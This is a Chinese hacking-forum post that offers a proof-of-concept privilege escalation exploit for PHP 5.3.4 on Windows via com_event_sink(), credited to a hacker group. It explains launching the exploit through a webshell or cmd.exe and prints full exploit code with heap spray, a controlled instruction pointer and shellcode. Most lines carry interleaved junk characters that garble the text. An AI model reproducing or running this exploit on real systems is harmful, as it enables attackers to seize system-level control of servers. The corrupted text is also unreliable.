|
|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中9 R) i! Q. k2 o0 g
0 ?/ _/ d5 n- h2 u, V1 B
测试方法如下:cmd /c x:\php\php.exe x:\test.php" m; ^; Q5 ]+ r7 {5 K1 z) z9 p, y6 `
$ N( H- [% j8 ~ l1 |' @
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
5 e% v2 C8 Z0 [6 ~$ ~: R- A这里是两个测试的截图:0 X8 |( c. Z# x& |
* p/ b S. B& B/ G/ q
- t# t3 O; q( |
# Q" Q4 l/ h4 O( Y! U3 b& k3 @
$ J s. Y: _6 \( S% s) t
3 s( {" a0 N# k9 T成功利用此漏洞的攻击者将获得系统的最高权限) n8 _1 E- q4 n7 A j' q
8 n9 j' D* N& E* g/ k7 P8 t, D6 J+ t8 w0 ]( K* n5 j
3 j. o' W Z- S+ N. D& g6 D! g# i/ B' i& M [; F \
. A) Q1 L, {- O4 e5 z, D) I关于漏洞分析稍后附上。一下是PoC代码:' A8 t: u" B/ }# W
( Y( j5 l2 h0 X<?php+ `7 }! w3 c! B, O
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
+ O- D, W$ I( o! J2 M$ b! o8 e//$eip ="\x44\x43\x42\x41";7 v" G5 s7 F( C& [9 C5 M. W. n
$eip= "\x4b\xe8\x57\x78";
) n0 P# B: t* |0 _6 B( u" n$eax ="\x80\x01\x8d\x04";# ]5 n$ l! H& _) L& M) K/ ^
$deodrant="";
$ j/ R: R' d1 E0 `$axespray = str_repeat($eip.$eax,0x80);
% K# M: L. ` J8 Z//048d0190+ }0 ^: D* @$ K& u8 J
echo strlen($axespray);
) j2 w8 T7 h7 C& u/ wecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
% u6 S: r. k( n) ]9 C5 g; Aecho "Silic Group Hacker Army - BlackBap.Org";# S/ x2 o: K& g, H6 R8 l! \
//19200 ==4B32 4b006 \+ T6 B3 B2 }' H
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
$ w' C5 |. _8 w9 V1 x% I1 p$terminate = "T";4 I$ b. H: f% M- l
$u[] =$deodrant;
2 T0 |4 y3 u/ w( c& \2 c/ \% p$r[] =$deodrant.$terminate;
* v0 ?% B8 K+ u* N' q1 h$a[] =$deodrant.$terminate;
( K3 l4 }& Z! N7 w$s[] =$deodrant.$terminate;+ {% F7 c% Y6 e
//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的/ \1 G$ B& @7 I
$vVar = new VARIANT(0x048d0000+180);
+ P/ S% c6 f, R% P//弹窗代码(Shellcode)* W- ~3 w: U* T
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
( b4 k$ h1 R3 Q" p- q0 H$var2 = new VARIANT(0x41414242);
( C2 t' I o8 y. |% U2 m8 h" Y1 Ncom_event_sink($vVar,$var2,$buffer);: ]) p$ C1 h: a
?>; P( J# y$ T: u% k/ Z9 h' y$ f
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|